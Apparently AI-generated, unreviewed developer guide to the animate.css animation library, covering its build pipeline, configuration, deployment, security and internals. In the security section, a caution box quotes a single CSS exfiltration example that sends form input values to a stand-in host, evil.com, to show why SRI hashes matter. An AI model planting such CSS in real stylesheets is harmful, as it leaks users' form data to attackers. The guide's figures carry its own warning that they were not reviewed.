Jesse A. Green / notebook

Animate.css Administrator & Developer Guide

Generated May 2026 from animate-css/animate.css at 3f8ab23

AI-generated documentation. The library is checked by sampling (three repositories so far); this guide was not individually reviewed. Verify against the project before relying on it.

Audience: Library maintainers, frontend architects, build engineers, design-system leads, and performance engineers responsible for integrating, customizing, or operating animate.css at scale.


1. Architecture Overview

1.1 What the system does

animate.css is a pure-CSS animation library — no JavaScript runtime, no framework coupling, no DOM manipulation. It ships a catalog of 97 named @keyframes together with a small class-based API (.animate__animated, .animate__{name}, duration/delay/repeat utilities) that composes them onto any HTML element.

The source is a collection of individual CSS files — one per animation — aggregated into a single output file by a PostCSS build pipeline. The build produces three variants of the same source: prefixed (default), prefixed-and-minified (production), and unprefixed-and-minified (backwards-compatible with v3).

Dimension Value
Latest version (this revision) 4.1.1
Source commit documented 3f8ab23 (2024-03-02)
License Hippocratic License 2.1 (ethical-use clauses)
Runtime dependencies None (pure CSS)
Build-time dependencies PostCSS + 7 plugins
Build output 3 CSS files: animate.css, animate.min.css, animate.compat.css
Distributed animations 97 @keyframes
Source animation files 98 (shipping build excludes source/attention_seekers/shake.css)
Class prefix (default) animate__
CSS custom properties 3 (--animate-duration, --animate-delay, --animate-repeat)
Browser support (via browserslist) > 3%, last 2 versions

Note

The library has no JavaScript runtime artifact, no Web Animations API usage, no tree-shakeable module exports, no Sass/Less preprocessor, no React/Vue/Svelte wrapper, no test suite, and no TypeScript declarations. These are authoritative negative facts — relying on the contrary in downstream systems will break.

1.2 Source tree topology

animate.css/
├── source/                           <- Canonical source; bundler entry point
│   ├── animate.css                   <- Master aggregator (97 @import lines)
│   ├── _base.css                     <- .animated machinery, utility classes
│   ├── _vars.css                     <- 3 CSS custom properties at :root
│   ├── attention_seekers/            <- 13 keyframe files
│   ├── back_entrances/               <- 4
│   ├── back_exits/                   <- 4
│   ├── bouncing_entrances/           <- 5
│   ├── bouncing_exits/               <- 5
│   ├── fading_entrances/             <- 13
│   ├── fading_exits/                 <- 13
│   ├── flippers/                     <- 5
│   ├── lightspeed/                   <- 4
│   ├── rotating_entrances/           <- 5
│   ├── rotating_exits/               <- 5
│   ├── sliding_entrances/            <- 4
│   ├── sliding_exits/                <- 4
│   ├── specials/                     <- 4 (+ source shake.css NOT in build)
│   ├── zooming_entrances/            <- 5
│   └── zooming_exits/                <- 5
├── postcss.config.js                 <- Build-pipeline config
├── package.json                      <- Scripts + build-time deps
├── animate.css                       <- Built: unminified, prefixed (dev default)
├── animate.min.css                   <- Built: minified, prefixed (production)
├── animate.compat.css                <- Built: minified, UNPREFIXED (backwards compat)
├── docs/                             <- Built static site output
└── docsSource/                       <- Site generator (Node.js scripts)
    ├── index.js                      <- Entry: reads sections/*.md, builds index.html
    ├── compileMD.js                  <- markdown-it -> HTML sections
    ├── compileAnimationList.js       <- Parses source/animate.css comments to build sidebar
    ├── template.html                 <- Docs HTML template
    └── sections/                     <- 10 user-facing .md files

1.3 Component inventory

Component Path Role
CSS custom properties source/_vars.css Defines --animate-duration, --animate-delay, --animate-repeat at :root
Base class machinery source/_base.css .animate__animated, utility classes, prefers-reduced-motion guard
Animation files source/{category}/{name}.css One @keyframes + one class per file
Master aggregator source/animate.css 97 @import lines composing all animations
PostCSS pipeline postcss.config.js 5-stage build: import, prefix, preset-env, cssnano, header
Docs generator docsSource/index.js Reads markdown sections + animation list, produces docs/index.html

1.4 Technology stack

Layer Technology
Source language CSS (plain, no preprocessor)
Build tool PostCSS CLI (npx postcss)
Build orchestration npm-run-all via package.json scripts
Docs site Static HTML generated by Node.js (markdown-it + template substitution)
CI Travis CI (.travis.yml, Node 10)
Code formatting Prettier + lint-staged + Husky git hooks

1.5 Build control flow

source/animate.css              (master with 97 @imports)
        |
        v
postcss-import                  (inlines all imported files into one buffer)
        |
        v
postcss-prefixer                (prepends "animate__" to every class -- unless env=compat)
        |   (ignores [class*=...] attribute selectors via regex guard)
        v
postcss-preset-env              (autoprefixer, custom-properties feature enabled)
        |
        v
cssnano                         (only if env === 'production' || env === 'compat')
        |
        v
postcss-header                  (prepends copyright banner with version from package.json)
        |
        v
output file                     (animate.css / animate.min.css / animate.compat.css)

1.6 The three build outputs

Output Prefixed Minified CSS custom properties Typical use
animate.css yes (animate__) no inlined by postcss-preset-env Development, debugging
animate.min.css yes (animate__) yes (cssnano) inlined Production CDN, npm consumption
animate.compat.css no yes inlined Migrating from v3 without editing markup

All three are compiled from the same source/animate.css master file; the difference is pipeline environment (ctx.env in postcss.config.js).

1.7 Runtime execution model

On the consumer's page, the runtime surface is exactly three CSS-level constructs:

  1. A trigger class .animate__animated — sets animation-duration, animation-fill-mode: both, and respects prefers-reduced-motion.
  2. A keyframe class .animate__{name} — maps to animation-name: {name} and (for a few entries) overrides animation-duration.
  3. Optional modifier classes — .animate__delay-{n}s, .animate__{speed}, .animate__repeat-{n}, .animate__infinite.

The browser's CSS animation engine does all the work. There is no JavaScript execution triggered by the library itself.

1.8 Entry point summary

Layer Entry file Purpose
Consumer CSS animate.min.css (or animate.css) Built, redistributable artifact
Consumer npm package.json#main = "animate.css" Bundler resolves to built CSS
Source source/animate.css Master @import aggregator (97 lines)
Build pipeline postcss.config.js Plugin chain for PostCSS CLI
Build commands package.json#scripts start (full build), dev (watch), docs (site)
Docs site generator docsSource/index.js Node.js script building docs/index.html

2. System Requirements

Requirement Value
Browser Any evergreen browser; > 3% marketshare + last 2 versions (per package.json#browserslist)
CSS custom properties support Required for --animate-duration, --animate-delay, --animate-repeat (graceful: fixed fallback values used if CSS vars are unsupported)
JavaScript Not required
Build tooling Not required
Transport Any <link rel="stylesheet"> compatible host (CDN, self-hosted, bundler)

2.2 For library maintainers / local development

Requirement Value Where pinned
Node.js v10 per .travis.yml; modern Node (>=18) works fine .travis.yml
npm Any version that can run npm-run-all and npx postcss implicit
PostCSS CLI ^8.3.1 package.json#devDependencies
PostCSS ^8.4.14 package.json#devDependencies
postcss-import ^14.0.2 package.json#devDependencies
postcss-prefixer ^2.1.3 package.json#devDependencies
postcss-preset-env ^6.7.0 package.json#devDependencies
postcss-header ^3.0.1 package.json#devDependencies
autoprefixer ^10.4.7 package.json#devDependencies
cssnano ^5.0.17 package.json#devDependencies
prettier ^2.7.1 (formatter) package.json#devDependencies
eslint ^7.32.0 (for docsSource/*.js) package.json#devDependencies
husky ^7.0.4 (git hooks) package.json#devDependencies
lint-staged ^11.2.6 package.json#devDependencies
markdown-it ^12.3.2 (docs-site generator) package.json#devDependencies
npm-run-all ^4.1.5 package.json#devDependencies

Note

All dependencies are devDependencies — none ship to consumers. The npm package distributes only CSS files plus source CSS.

2.3 Hosting requirements

None beyond standard static-asset hosting. There is no server runtime, no database, no state, no authentication.


3. Configuration Reference

3.1 Build-time configuration (package.json)

"animateConfig": {
  "prefix": "animate__"
}
Key Type Default Effect
animateConfig.prefix string "animate__" Prepended to every class name by postcss-prefixer during non-compat builds

Important

This is the only build-time knob. To change the prefix (e.g., to avoid collision with another library), fork, edit package.json, and rebuild with npm start.

3.2 Runtime configuration (CSS custom properties)

Defined in source/_vars.css at :root:

Custom property Default Affects
--animate-duration 1s Every .animate__animated element's animation-duration
--animate-delay 1s Base unit for .animate__delay-1s through .animate__delay-5s (multiplied via calc())
--animate-repeat 1 Base for .animate__repeat-1, -2, -3 (multiplied via calc())

Override scopes:

  • Global: :root { --animate-duration: 500ms; } — changes default speed for every animated element.
  • Per-element: <div class="animate__animated" style="--animate-duration: 2s;"> — one-off override.
  • Per-component: .my-card { --animate-duration: 800ms; } — cascade naturally.

3.3 Hardcoded per-animation duration overrides

These ignore --animate-duration because they use literal animation-duration rules in their own stylesheets; noted here because they are invisible without reading source:

Animation Hardcoded duration Source file
hinge 2s (2x default) source/specials/hinge.css
bounceIn 0.75s source/bouncing_entrances/bounceIn.css
bounceOut 0.75s source/bouncing_exits/bounceOut.css
flipOutX 0.75s source/flippers/flipOutX.css
flipOutY 0.75s source/flippers/flipOutY.css
heartBeat 1.3s source/attention_seekers/heartBeat.css

Speed utilities (.animate__fast, .animate__slow, etc.) do compose correctly with these — they use calc() on the effective duration.

Warning

If you set --animate-duration globally, these six animations will not change proportionally because their class-level animation-duration takes cascade precedence. Override --animate-duration on the specific element to affect them.

3.4 Utility classes — authoritative list

Generated from source/_base.css:

Class CSS it emits Purpose
.animate__animated animation-duration: var(--animate-duration, 1s); animation-fill-mode: both; Required base class
.animate__infinite animation-iteration-count: infinite Loop forever
.animate__repeat-1 / -2 / -3 animation-iteration-count: calc(N * var(--animate-repeat)) Finite repetition
.animate__delay-1s ... -5s animation-delay: calc(Ns * var(--animate-delay)) Delay start
.animate__slow animation-duration: calc(var(--animate-duration) * 2) 2x slower
.animate__slower animation-duration: calc(var(--animate-duration) * 3) 3x slower
.animate__fast animation-duration: calc(var(--animate-duration) * 0.8) 0.8x faster
.animate__faster animation-duration: calc(var(--animate-duration) * 0.5) 2x faster

3.5 Accessibility clause (in _base.css)

@media (print), (prefers-reduced-motion: reduce) {
  .animate__animated {
    animation-duration: 1ms !important;
    transition-duration: 1ms !important;
    animation-iteration-count: 1 !important;
  }
}

Important

This media query guard is the entire accessibility mechanism. Never remove or weaken it. See section 7 for the security/accessibility rationale.

3.6 npm package files

The files field in package.json determines what ships to npm consumers:

"files": [
  "animate.compat.css",
  "animate.min.css",
  "animate.css",
  "source/**/*.css"
]

This means source CSS files are available for selective @import by consumers.

3.7 Browserslist

"browserslist": [
  "> 3%",
  "last 2 versions"
]

This configures autoprefixer (via postcss-preset-env) to emit vendor prefixes only for browsers with >3% global usage and the last 2 versions.


4. Deployment & Scaling

4.1 Delivery strategies

Strategy Pro Con Recommended when
CDN link (<link> tag) Simple, cached across sites External dependency, SRI required Quick prototypes, non-critical sites
Self-hosted animate.min.css Full control, one RTT saved vs CDN Byte cost if only a few animations used Standard production sites using >10 animations
Bundled subset (via @import) Minimal byte cost Requires build config Performance-critical sites using <10 animations
Inlined critical CSS Zero blocking request Tooling complexity Sites where animations are above-the-fold

4.2 Caching

  • The library changes rarely; set Cache-Control: public, max-age=31536000, immutable on versioned URLs (e.g., /animate.min.4.1.1.css).
  • CDN ETags work cleanly because the file is static.
  • There is no server-side state, so no cache-invalidation cross-talk.

Tip

Pin to an exact version when using a CDN. Avoid @latest — a major version bump with breaking prefix changes will silently break your animations.

4.3 SRI (Subresource Integrity)

When loading via CDN, use an SRI hash to prevent tampering:

<link rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/animate.css@4.1.1/animate.min.css"
      integrity="sha384-..."
      crossorigin="anonymous">

Generate SRI hashes with:

openssl dgst -sha384 -binary animate.min.css | openssl base64 -A

Note

SRI hashes must be regenerated after every version bump or custom build. The hash for the default build and a custom-prefix build will differ even if the animations are identical.


5. Operations

5.1 Build system — npm scripts reference

Script Command (paraphrased) Produces When to run
npm start npm-run-all raw prod compat All three built CSS files Full release build
npm run raw npx postcss source/animate.css -o animate.css --no-map --env development animate.css (unminified, prefixed) Local inspection of compiled output
npm run dev same as raw but with -w (watch) animate.css on every save Interactive development
npm run prod npx postcss source/animate.css -o animate.min.css --no-map --env production animate.min.css (minified, prefixed) Production artifact
npm run compat npx postcss source/animate.css -o animate.compat.css --no-map --env compat animate.compat.css (minified, unprefixed) Compatibility artifact
npm run docs:library npx postcss source/animate.css -o ./docs/animate.min.css --no-map --env production Copy of minified CSS inside docs/ Before docs:pages
npm run docs:pages node ./docsSource/index.js docs/index.html (static site) Rebuild docs site
npm run docs npm-run-all docs:library docs:pages Both above Full docs rebuild
npm run format prettier --write "**/*.{js,json,md,css}" Formatted source Before commit
npm run version npm-run-all start docs && git add -A docs animate.css animate.min.css animate.compat.css Built artifacts staged Invoked by npm version
npm run postversion git push && git push --tags Tags pushed Invoked after npm version
npm run prepare husky install Git hooks installed Invoked on npm install

Tip

The npm version patch|minor|major lifecycle automatically runs npm start (full build), npm run docs (site rebuild), stages built artifacts, commits, tags, and pushes. A single command handles the entire release flow.

5.2 PostCSS pipeline — key decisions

// postcss.config.js:12
const {homepage, version, author, animateConfig} = JSON.parse(fs.readFileSync('package.json'));

Package metadata (version, prefix) is injected into the header at build time. Bumping version in package.json automatically stamps it into the emitted CSS banner.

// postcss.config.js:28
const prefix = ctx.env === 'compat' ? '' : animateConfig.prefix;

This single ternary is the entire mechanism that separates the compat build from the prefixed build. There are no separate source files; the same source tree produces both builds via environment variable.

// postcss.config.js:38-40
'postcss-prefixer': {
  prefix,
  ignore: [/\[class*=.*\]/],
},

Attribute selectors like [class*="animate__"] in the source are not re-prefixed, preventing double-prefixing. This is important if you modify source and use attribute-selector patterns.

// postcss.config.js:42-49
'postcss-preset-env': {
  autoprefixer: { cascade: false },
  features: { 'custom-properties': true },
},

custom-properties: true means postcss-preset-env inlines fallback values for browsers without CSS-variable support. This is why --animate-duration: 1s works even where var() is unsupported.

// postcss.config.js:50
cssnano: ctx.env === 'production' || ctx.env === 'compat' ? {} : false,

Minification runs only for production and compat environments. The raw/development build is intentionally unminified for debugging.

5.3 Expected build output sizes

File Size (approx) Gzipped (approx)
animate.css ~75 KB ~10 KB
animate.min.css ~60 KB ~9 KB
animate.compat.css ~57 KB ~9 KB

Note

Sizes vary by build tooling versions. Run ls -l animate*.css after a fresh npm start for exact figures on your toolchain.

5.4 Release checklist

  • [x] Run npm start — verify three CSS files are regenerated without errors
  • [x] Run npm run docs — verify docs/index.html is regenerated
  • [ ] Serve docs/ locally and click every animation in the catalog
  • [ ] Verify animate.min.css contains exactly 97 @keyframes blocks
  • [ ] Verify animate.compat.css has no animate__ prefix
  • [ ] Verify animate.css header matches package.json#version
  • [ ] Run npm version patch|minor|major to tag, build, commit, and push

6. Performance

6.1 Performance characteristics

Animate.css keyframes primarily animate transform and opacity — both are GPU-composited properties that avoid layout and paint costs. This is a deliberate design choice that makes the library performant across devices.

6.2 Performance checklist for integration

  1. Set will-change sparingly — the library does not set will-change on any element. Elements animated frequently should have will-change: transform, opacity added manually before animation starts, then removed. Setting it permanently hurts performance.
  2. Avoid animating layout-triggering properties — when adding custom keyframes, stay within transform and opacity.
  3. Batch class additions — if adding .animate__animated to many elements, do it with classList and avoid layout thrash.
  4. Combined class-bundle size — the full minified CSS is ~60 KB (~9 KB gzipped). On a bandwidth-constrained path, subset builds (section 7) can reduce this to <2 KB for typical use.
  5. animation-fill-mode: both is set on .animate__animated — elements retain their final frame after exit animations. If you want them to disappear from layout, apply display: none after animationend.

Tip

For pages using only 2-3 animations, a subset build (section 7) eliminates ~95% of unused CSS. This is the single biggest performance optimization available.


7. Security

7.1 Threat surface

Because animate.css is pure CSS with no JavaScript, the normal web-security threat vectors do not apply:

Vector Applicable? Notes
XSS via library code No There is no JavaScript in the distributable artifact
Prototype pollution No No JS runtime
Supply-chain JS injection No No runtime JS dependencies
CSS-based exfiltration Theoretical Any CSS library can be modified to exfiltrate form data via attribute selectors + background URLs. animate.css does not do this in any shipping source.
Dependency risk Low All deps are devDependencies; none ship to consumers
Subresource-integrity risk Standard If loading via CDN, use an SRI hash

Caution

If loading from a third-party CDN, always use Subresource Integrity (SRI) hashes. A compromised CDN could inject CSS-based data exfiltration (e.g., input[value^="a"] { background: url(https://evil.com/a) }). SRI prevents this by validating the file hash before applying it.

7.2 Build-time supply chain

The relevant build dependencies are standard PostCSS ecosystem packages. There are no custom or vendored build plugins:

  • postcss-import@^14.0.2
  • postcss-prefixer@^2.1.3
  • postcss-preset-env@^6.7.0
  • postcss-header@^3.0.1
  • autoprefixer@^10.4.7
  • cssnano@^5.0.17
  • prettier@^2.7.1
  • eslint@^7.32.0
  • husky@^7.0.4
  • lint-staged@^11.2.6
  • markdown-it@^12.3.2
  • npm-run-all@^4.1.5

Run npm audit periodically on a fresh clone; since consumers don't install these, vulnerabilities are confined to the maintainer's build environment.

7.3 License — Hippocratic License 2.1

The Hippocratic License is not an OSI-approved open-source license. It is a source-available license with ethical-use clauses that forbid use by entities engaging in specific harmful activities (surveillance, human-rights violations, environmental destruction, etc. — see the full text at firstdonoharm.dev).

Compliance implications for admins / legal review:

  • Corporate legal policy may classify Hippocratic-2.1 as non-standard. Some compliance workflows auto-reject non-OSI licenses.
  • The license is permissive on technical grounds (use, modify, redistribute) but conditional on ethical grounds.
  • For corporate use, confirm your organization's activities do not fall within the license's prohibited categories.
  • Some organizations choose to replace animate.css with an MIT-licensed alternative when compliance pushback is strong.
Item Value
License Hippocratic License 2.1
License URL https://firstdonoharm.dev/version/2/1/license.html
OSI-approved? No
Commercial use Allowed, subject to ethical-use clauses
Redistribution Allowed, include license
Warranty None
Copyright holder Animate.css (per package.json#author)

7.4 prefers-reduced-motion — a safety feature

The library respects prefers-reduced-motion: reduce automatically by reducing animation duration to 1ms and forcing iteration count to 1. Do not override this behavior without an operational reason; users requesting reduced motion may have vestibular disorders or other conditions where forced animation is genuinely harmful.

If you add custom keyframes on top of the library, replicate the same guard:

@media (prefers-reduced-motion: reduce) {
  .my-custom-animated { animation-duration: 1ms !important; }
}

8. Developer Internals

8.1 Repository structure

animate.css/                     144 files, ~5.2K chars source
├── source/                      98 CSS files (97 in build + 1 excluded)
│   ├── _vars.css                CSS custom properties
│   ├── _base.css                Base class, utilities, a11y guard
│   ├── animate.css              Master @import aggregator
│   └── {category}/{name}.css    Individual animation files
├── postcss.config.js            57 lines, build pipeline
├── package.json                 Scripts, deps, animateConfig
├── .travis.yml                  CI: Node 10, npm install && npm start
├── .prettierrc                  Prettier config
├── .editorconfig                Editor config
├── docsSource/                  3 JS files + template + 10 markdown sections
│   ├── index.js                 Entry point for docs generation
│   ├── compileMD.js             Markdown-to-HTML via markdown-it
│   ├── compileAnimationList.js  Parses animation names from source
│   ├── template.html            HTML template with {{docs}}, {{list}}, {{version}} slots
│   └── sections/                10 .md files (intro, usage, utilities, etc.)
├── docs/                        Built static site
│   ├── index.html               Generated docs page
│   ├── main.mjs                 Client-side JS modules
│   ├── style.css                Docs styling
│   └── modules/                 6 JS modules (playground, dark mode, etc.)
├── animate.css                  Built output (dev)
├── animate.min.css              Built output (prod)
└── animate.compat.css           Built output (compat)

8.2 Animation file conventions

Each animation file declares exactly one @keyframes {name} { ... } block plus one class rule .{name}:

  • Directional variants (e.g., fadeInLeft, fadeInRight) are separate files, not parametrized — deliberate so selective @import tree-shakes unused variants.
  • The class rule assigns animation-name: {name}. Everything else (duration, timing-function, fill-mode) is inherited from .animate__animated.
  • Transform-origin and perspective are set on the class rule, not inside @keyframes, so they apply even if an override wraps the animation in a container with different origins.

8.3 Animation groups — internals

Group (folder) Count Shared patterns Duration notes
attention_seekers 13 In-place transforms Default (except heartBeat = 1.3s)
back_entrances 4 Scale + translate Default
back_exits 4 Scale + translate Default
bouncing_entrances 5 Bounce easing via multi-keyframe bounceIn = 0.75s
bouncing_exits 5 Bounce easing bounceOut = 0.75s
fading_entrances 13 Opacity + translate Default
fading_exits 13 Opacity + translate Default
flippers 5 perspective(400px) + rotation flipOutX/Y = 0.75s
lightspeed 4 Skew + translate Default
rotating_entrances 5 Rotation with transform-origin Default
rotating_exits 5 Rotation with transform-origin Default
sliding_entrances 4 Translate only Default
sliding_exits 4 Translate only Default
specials 4 Unique per animation hinge = 2s
zooming_entrances 5 Scale + translate Default
zooming_exits 5 Scale + translate Default

8.4 The shake discrepancy

source/attention_seekers/shake.css exists in the repository but is not imported by source/animate.css. Consequences:

  • It is not in the built animate.css / animate.min.css.
  • It is not documented in the official site.
  • It is still shipped in the npm package because files: ["source/**/*.css"] includes every source file.

If a downstream consumer builds a custom bundle by listing source files directly (@import "animate.css/source/attention_seekers/shake.css"), they will get a working shake animation.

8.5 Docs site generator

The docs site is a custom Node.js build, not a static-site generator framework:

  1. docsSource/index.js reads package.json for the version number.
  2. compileMD.js reads all .md files from docsSource/sections/, sorted alphabetically (prefix numbers 00- through 09- ensure order), and compiles each to HTML via markdown-it with html: true and linkify: true.
  3. compileAnimationList.js reads source/animate.css, parses category comments and @import filenames via regex, and produces an HTML animation sidebar list.
  4. The template (template.html) has {{docs}}, {{list}}, and {{version}} placeholders that are replaced via simple string substitution.
  5. Output is written to docs/index.html.

The docs site also includes client-side JS modules (docs/modules/) for the interactive playground, dark mode, slow-down toggle, and animation triggers.

8.6 Code patterns

  • No JavaScript runtime — the library is CSS-only. The only JS is build tooling and docs generation.
  • CSS composition via @import — the master source/animate.css composes all animations. Individual animation files are standalone units.
  • CSS custom properties for configurability — --animate-duration, --animate-delay, --animate-repeat provide the entire runtime configuration surface.
  • Build-time prefixing — class name prefixing is applied by postcss-prefixer during build, not in source.
  • Lint-staged formatting — prettier runs on *.{mjs,js,json,md,css} via lint-staged + husky pre-commit hook.

8.7 Testing

Warning

The repository has no automated test suite. There is no Jest, no Mocha, no visual regression. The npm scripts contain start, dev, prod, compat, docs, format, prepare, version, postversion. There is no test script. Quality is verified manually against the published docs site.

Recommended QA workflow:

  1. Run npm start — verify three CSS files regenerate without errors.

  2. Run npm run docs — verify docs/index.html regenerates.

  3. Serve docs/ locally and click every animation in the catalog.

  4. Verify animate.min.css contains exactly 97 @keyframes blocks:

    grep -c "@keyframes " animate.min.css
    
    97
    
  5. Verify animate.compat.css has no animate__ prefix:

    grep -c "animate__" animate.compat.css
    
    0
    

8.8 Potential improvements

  1. Ship a JSON manifest of animation names at dist/animations.json. This enables editor intellisense (closes #1855), programmatic enumeration for JS wrappers, and type-safe React/Vue component wrappers.

  2. Formalize subset builds (closes #1331). Options: package.json#exports map for each source subdirectory, a CLI for custom bundles, or a companion package for common subsets.

  3. Add a visual-regression test harness. Playwright + pixelmatch, one snapshot per animation at start/mid/end frames. Run on every PR.

  4. Decide the fate of shake — either re-import source/attention_seekers/shake.css into source/animate.css and document it, or delete the file to remove the discrepancy.

  5. Upgrade Node in CI — .travis.yml pins Node 10, which is EOL. Move to Node 18/20, migrate to GitHub Actions.

  6. Add an exports field to package.json so modern bundlers get unambiguous entry resolution; include conditional entries for subset imports.

  7. Document the per-animation duration overrides in the official site — currently only discoverable by reading source.

  8. Add prepublishOnly script that runs npm start && npm run docs to guarantee published artifacts are always in sync.

  9. Ship SRI-hash files so CDN consumers can pin integrity hashes mechanically.

  10. Add a test script even if it's just a shell script asserting every source file (except shake.css) is imported by source/animate.css and the built files contain the expected @keyframes count.

8.9 Contributing

The repository includes a CONTRIBUTING.md and CODE_OF_CONDUCT.md. Source formatting is enforced by Prettier via lint-staged and Husky pre-commit hooks. Run npm run format before committing, or let the hook handle it automatically.

To add a new animation:

  1. Create a new CSS file under the appropriate source/{category}/ directory.
  2. Define one @keyframes {name} block and one .{name} class.
  3. Add an @import line to source/animate.css.
  4. Run npm start to rebuild.
  5. Run npm run docs to update the docs site.

9. Integration Points

9.1 Consumer integration modes

Mode Mechanism Notes
CDN drop-in <link> to animate.min.css No build step; approximately 9 KB gzipped
npm install import 'animate.css' Bundler resolves package.json#main
Selective import @import 'animate.css/source/{category}/{name}.css' Requires postcss-import or equivalent; ships unprefixed
Custom prefix build Fork, edit animateConfig.prefix, npm start Produces custom-prefixed output
Legacy compat import 'animate.css/animate.compat.css' Unprefixed class names for v3 compatibility

9.2 Framework integration patterns

The library is framework-agnostic. Integration follows the same pattern everywhere: import the CSS once globally, then apply classes to elements. See the User Guide section 7.6 for React, Vue, Svelte, and Angular examples.

9.3 Custom builds — subset and prefix

Subset builds (reduce CSS size):

/* Import only what you need */
@import 'animate.css/source/_vars.css';
@import 'animate.css/source/_base.css';
@import 'animate.css/source/fading_entrances/fadeIn.css';
@import 'animate.css/source/fading_exits/fadeOut.css';
@import 'animate.css/source/attention_seekers/pulse.css';

Warning

Source files use unprefixed class names (.fadeIn, .animated). A direct-import subset build will NOT have animate__ prefixes. Either align your markup to unprefixed names, or run your own postcss-prefixer pass.

Custom prefix:

Edit package.json#animateConfig.prefix:

"animateConfig": {
  "prefix": "myco__"
}

Run npm start. Every class in the output becomes myco__animated, myco__fadeIn, etc.

Global kill-switch (disable all animations):

:root {
  --animate-duration: 1ms;
}
.animate__animated {
  animation-duration: 1ms !important;
}

This is functionally equivalent to the prefers-reduced-motion branch and can be toggled by a body class or feature flag.


10. Troubleshooting

Build-level issues

Issue Diagnosis Resolution
npx postcss fails on Node 10 Newer postcss-preset-env requires Node >=12 Update .travis.yml and local env to Node >=16
animate.css output is empty after npm run raw source/animate.css has a syntax error or missing file Run npx postcss source/animate.css -o /dev/null --env development --verbose
Prefix applied twice (.animate__animate__fadeIn) postcss-prefixer ran on already-prefixed output Confirm pipeline runs on source/ only; never on built files
cssnano mangles a valid selector Edge-case cssnano optimization Pin cssnano version or add exclusion rules
Docs site shows wrong version package.json#version not updated before npm run docs Bump version, re-run npm run docs, commit
postcss-prefixer prefixes inside attribute selectors Regex in ignore didn't match Widen ignore array if using custom attribute selectors
npm audit flags vulnerability in postcss-* Transitive deps from PostCSS 7->8 migration Run npm audit fix; pin postcss@^8 in resolutions if breaking
husky pre-commit hook fails on Windows Path issues with husky install Reinstall husky@^7 or use WSL
npm version fails with untracked files npm-run-all start docs && git add -A docs ... expects clean state Commit pending work first

Warning

The .travis.yml pins Node 10 which is long-since EOL. While the build may still succeed, newer PostCSS plugin versions may silently require Node >=14. If CI starts failing mysteriously, check the Node version first.

Runtime-level diagnostic pointers

Symptom Likely cause Where to look
Nothing animates Missing .animate__animated base class Consumer markup
Animation plays once then element snaps back Missing animation-fill-mode: both or class removed prematurely source/_base.css / consumer JS
Animation plays too slowly / too fast globally Custom --animate-duration override in scope Site CSS; grep for --animate-duration
hinge, bounceIn, flipOutX/Y, heartBeat ignore custom duration Hardcoded animation-duration in their source files Section 3.3 table
shake class does nothing shake.css not imported into distributed build Section 8.4
Classes don't match expected names Wrong artifact: compat vs default Check loaded filename
calc() produces "invalid" warnings in older browsers postcss-preset-env should have inlined fallback — verify features.custom-properties: true is running postcss.config.js

Tip

When debugging animation issues in production, the fastest diagnostic is to check which CSS file is loaded (view source or DevTools Network tab). If it's animate.compat.css, classes are unprefixed. If it's animate.min.css, they need the animate__ prefix.


11. Known Issues

From the repository's GitHub issue tracker (17 issues fetched):

Open bugs (community-confirmed):

Issue Summary Notes
#1856 Bug on page loading 5 comments; investigate load-time race with custom properties
#1855 Intellisense Editor tooling gap — class names not surfaced by standard CSS intellisense
#1853 Bootstrap issue Prefix/class-name conflict with Bootstrap utility classes

Open feature requests:

  • #1918 — Mood/content-based animation recommendations
  • #1916 — zoomIn: partial-range playback
  • #1901 — Add a new animation
  • #1331 — Make importing source files possible (subset-build support)
  • #1842 — Copy button for docs code snippets
  • #1861 — Hover effect on footer links
  • #1895 — Visual refresh of docs UI

Repository-level gaps:

  • No automated tests (see section 8.7)
  • shake.css exists in source but is not imported (see section 8.4)
  • No .d.ts or JSON manifest of animation names
  • No tree-shake-friendly package export map (only a single main pointing at monolithic CSS)

12. Quick Reference

Key files for any change

Change you want to make File to edit
Global default duration source/_vars.css
Base .animated machinery source/_base.css
Add new animation New file under source/{group}/ + @import line in source/animate.css
Change prefix package.json#animateConfig.prefix
Change build environments postcss.config.js
Docs site sections docsSource/sections/*.md
Docs site layout docsSource/template.html

Commands cheat sheet

npm install            # Install devDependencies, set up husky hooks
npm start              # Full build: raw -> prod -> compat
npm run dev            # Watch-mode build
npm run docs           # Rebuild docs site
npm run format         # Prettier all source
npm version patch      # Bump version, build, commit, tag, push

Minimum consumer footprint

<link rel="stylesheet" href="/animate.min.css">
<div class="animate__animated animate__fadeIn">Hello</div>

Two lines. No JavaScript. No build step.